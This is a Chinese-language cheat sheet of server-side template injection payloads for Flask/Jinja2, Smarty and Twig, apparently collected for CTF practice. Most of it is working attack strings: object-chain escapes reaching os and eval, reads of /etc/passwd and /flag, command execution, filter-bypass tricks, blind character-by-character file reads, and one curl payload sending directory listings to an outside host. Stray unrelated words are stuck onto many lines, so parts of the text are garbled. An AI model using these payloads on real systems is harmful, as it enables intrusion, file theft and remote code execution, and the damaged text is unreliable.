基本判斷
渲染模板
flask/jinja
flask SSTI的基本思路就是利用python中的魔術方法找到本身要用的函數php
__dict__ 保存類實例或對象實例的屬性變量鍵值對字典 __class__ 返回類型所屬的對象 __mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。 __bases__ 返回該對象所繼承的基類 // __base__和__mro__都是用來尋找基類的 __subclasses__ 每一個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表 __init__ 類的初始化方法 __globals__ 對包含函數全局變量的字典的引用
一些姿式
一、config
{{config}}
能夠獲取當前設置,若是題目相似app.config ['FLAG'] = os.environ.pop('FLAG')
,那能夠直接訪問{{config['FLAG']}}
或者{{config.FLAG}}
獲得flaghtml
二、self
{{self}} ⇒ <TemplateReference None> {{self.__dict__._TemplateReference__context.config}} ⇒ 一樣能夠找到config
三、""
、[]
、()
等數據結構
主要目的是配合__class__.__mro__[2]
這樣找到object
類 {{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
python
四、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
若是config,self不能使用,要獲取配置信息,就必須從它的上部全局變量(訪問配置current_app等)。web
例如:json
{{url_for.__globals__['current_app'].config.FLAG}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}} {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
經常使用繞過
Jinja2模板注入過濾器繞過flask
如下表示法可用於訪問對象的屬性:數組
request.__class__
request["__class__"]
request|attr("__class__")
能夠使用如下方法訪問數組元素:session
array[0]
array.pop(0)
array.__getitem__(2)
(1)過濾[]
和.
只過濾[]
數據結構
pop() 函數用於移除列表中的一個元素(默認最後一個元素),而且返回該元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
若.
也被過濾,使用原生JinJa2函數|attr()
將request.__class__
改爲request|attr("__class__")
(2)過濾_
利用request.args
屬性 {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
將其中的request.args
改成request.values
則利用post的方式進行傳參
(3)關鍵字過濾
- base64編碼繞過
__getattribute__
使用實例訪問屬性時,調用該方法
例如被過濾掉__class__
關鍵詞 {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
- 字符串拼接繞過
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
(4)過濾{{
使用{% if ... %}1{% endif %}
,例如
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;') %}1{% endif %}
若是不能執行命令,讀取文件能夠利用盲注的方法逐位將內容爆出來
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}
payload
python2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}} {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
Smarty
如下內容出自Smarty SSTI
一、{php}{/php}
Smarty已經廢棄{php}標籤,強烈建議不要使用。在Smarty 3.1,{php}僅在SmartyBC中可用
二、{literal}
{literal}可讓一個模板區域的字符原樣輸出。這常常用於保護頁面上的Javascript或css樣式表,避免由於Smarty的定界符而錯被解析。
那麼對於php5的環境咱們就能夠使用
<script language="php">phpinfo();</script>
三、{if}
Smarty的{if}條件判斷和PHP的if 很是類似,只是增長了一些特性。每一個{if}必須有一個配對的{/if}. 也能夠使用{else} 和 {elseif}. 所有的PHP條件表達式和函數均可以在if內使用,如*||*,or,&&,and,is_array(), 等等
{if phpinfo()}{/if}
四、getStreamVariable
新版本失效 {self::getStreamVariable("file:///etc/passwd")}
twig
文件讀取
{{'/etc/passwd'|file_excerpt(1,30)}} {{app.request.files.get(1).__construct('/etc/passwd','')}} {{app.request.files.get(1).openFile.fread(99)}}
rce
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{['cat /etc/passwd']|filter('system')}} POST /subscribe?0=cat+/etc/passwd HTTP/1.1 {{app.request.query.filter(0,0,1024,{'options':'system'})}}
參考連接
flask/jinja2 SSTI入門 SSTI注入繞過(沙盒逃逸原理同樣) 探索Flask/Jinja2中的服務端模版注入(一) 探索Flask/Jinja2中的服務端模版注入(二) 從零學習flask模板注入 Server-Side Template Injection